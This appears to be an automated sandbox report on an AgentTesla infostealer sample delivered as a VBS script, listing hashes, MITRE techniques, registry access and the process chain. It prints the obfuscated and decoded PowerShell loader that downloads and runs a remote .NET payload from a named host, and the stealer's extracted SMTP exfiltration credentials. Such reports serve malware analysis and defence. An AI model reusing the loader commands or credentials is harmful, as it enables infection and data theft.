agenttesla | 2c37a2e69e921672a2a9a14b9af4def2a610518cdfcab485bd7cb6bbbd7e2980

Analysis

max time kernel
16s
max time network
12s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
05/07/2023, 13:23

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General

Target
casssVbsforexpOnline.vbs
Size 413KB
Sample230705-qmsv6aeb31
SHA256 2c37a2e69e921672a2a9a14b9af4def2a610518cdfcab485bd7cb6bbbd7e2980
MD5 88ef1666b70498199bf884c69deb3462
SHA1 109048455324c612b3486e99a7a16ce538b89cae
SHA512 9969ba4af19eda469b8a077ad636d333e5dcf0c9674b25eb1383cfaf618d92fee9fb2fed65c3f4d6daffea1cc4dd59a86867ece96bb93db07b0d7cb100e9f96c
SSDEEP 1536:69OJNc06jjQ2jj8SmoqaQJDtApa16UosDrQuEEajjjj1AJ+TsT5nynoRaBTATCT4:69OJy/kaBTATCTvsvtXaCq0
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

agenttesla collection keylogger spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://cryptersandtools.minhacasa.tv/e/e

Extracted

Family

agenttesla

Credentials

Protocol
smtp
Host
quimicaobal.com
Port
587
Username
[email protected]
Password
62Q7ROn)&Ben
Email to
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4152	powershell.exe
3	4152	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Control Panel\International\Geo\Nation	WScript.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4152 set thread context of 3956	4152	powershell.exe	82

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1236	powershell.exe
1236	powershell.exe
4152	powershell.exe
4152	powershell.exe
3956	RegAsm.exe
3956	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeDebugPrivilege	3956	RegAsm.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 440 wrote to memory of 1236	440	WScript.exe	79
PID 440 wrote to memory of 1236	440	WScript.exe	79
PID 1236 wrote to memory of 4152	1236	powershell.exe	81
PID 1236 wrote to memory of 4152	1236	powershell.exe	81
PID 4152 wrote to memory of 3956	4152	powershell.exe	82
PID 4152 wrote to memory of 3956	4152	powershell.exe	82
PID 4152 wrote to memory of 3956	4152	powershell.exe	82
PID 4152 wrote to memory of 3956	4152	powershell.exe	82
PID 4152 wrote to memory of 3956	4152	powershell.exe	82
PID 4152 wrote to memory of 3956	4152	powershell.exe	82
PID 4152 wrote to memory of 3956	4152	powershell.exe	82
PID 4152 wrote to memory of 3956	4152	powershell.exe	82

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4176143399-3250363947-192774652-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\casssVbsforexpOnline.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC⁂Hk⁂d⁂Bl⁂Fs⁂XQBd⁂C⁂⁂J⁂BE⁂Ew⁂T⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂K⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂p⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂JwBo⁂HQ⁂d⁂Bw⁂Do⁂Lw⁂v⁂GM⁂cgB5⁂H⁂⁂d⁂Bl⁂HI⁂cwBh⁂G4⁂Z⁂B0⁂G8⁂bwBs⁂HM⁂LgBt⁂Gk⁂bgBo⁂GE⁂YwBh⁂HM⁂YQ⁂u⁂HQ⁂dg⁂v⁂GU⁂LwBl⁂Cc⁂KQ⁂p⁂Ds⁂WwBT⁂Hk⁂cwB0⁂GU⁂bQ⁂u⁂EE⁂c⁂Bw⁂EQ⁂bwBt⁂GE⁂aQBu⁂F0⁂Og⁂6⁂EM⁂dQBy⁂HI⁂ZQBu⁂HQ⁂R⁂Bv⁂G0⁂YQBp⁂G4⁂LgBM⁂G8⁂YQBk⁂Cg⁂J⁂BE⁂Ew⁂T⁂⁂p⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂LgBH⁂GU⁂d⁂BN⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂o⁂Cc⁂VgBB⁂Ek⁂Jw⁂p⁂C4⁂SQBu⁂HY⁂bwBr⁂GU⁂K⁂⁂k⁂G4⁂dQBs⁂Gw⁂L⁂⁂g⁂Fs⁂bwBi⁂Go⁂ZQBj⁂HQ⁂WwBd⁂F0⁂I⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂Lg⁂0⁂DY⁂ZQBz⁂GE⁂YgBy⁂G8⁂d⁂Bz⁂GE⁂Yw⁂v⁂DQ⁂Mg⁂u⁂D⁂⁂Mg⁂x⁂C4⁂O⁂⁂3⁂DE⁂Lg⁂1⁂Dk⁂MQ⁂v⁂C8⁂OgBw⁂HQ⁂d⁂Bo⁂Cc⁂KQ⁂p⁂⁂==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://cryptersandtools.minhacasa.tv/e/e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.46esabrotsac/42.021.871.591//:ptth'))"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:3956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 3e924ababbd0ecfe9a78b082145a5d86b63313fe037c854691575c908fa8d907
MD5 1860e9feaeffa4b93345d9a14370f501
SHA1 3fae13f9e34098e900192b5b5758127b89a66bd1
SHA512 3c03760f005e0f9246c3e4dc45363a5add0bb692119d4fe530ab7d3d9f76c488ca0e33c8165a258f23e796bfd2002e5e6c4e46c98220857ee73c264bbaf56835
MD5 SHA1 SHA512

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__PSScriptPolicyTest_vvpo53vh.cia.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vvpo53vh.cia.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1236-133-0x000001E9EC1D0000-0x000001E9EC1F2000-memory.dmp

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memory/1236-143-0x000001E9EB240000-0x000001E9EB250000-memory.dmp

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memory/1236-144-0x000001E9EB240000-0x000001E9EB250000-memory.dmp

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memory/1236-154-0x000001E9EB240000-0x000001E9EB250000-memory.dmp

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memory/3956-156-0x0000000000400000-0x0000000000430000-memory.dmp

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memory/3956-160-0x00000000056E0000-0x0000000005C84000-memory.dmp

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memory/3956-161-0x0000000005130000-0x0000000005196000-memory.dmp

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memory/3956-162-0x0000000005200000-0x0000000005210000-memory.dmp

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memory/3956-163-0x0000000005F90000-0x0000000005FE0000-memory.dmp

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memory/3956-164-0x0000000006080000-0x0000000006112000-memory.dmp

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memory/3956-165-0x0000000005FF0000-0x0000000005FFA000-memory.dmp

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memory/3956-166-0x0000000005200000-0x0000000005210000-memory.dmp

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memory/4152-155-0x000001FF730D0000-0x000001FF730E0000-memory.dmp

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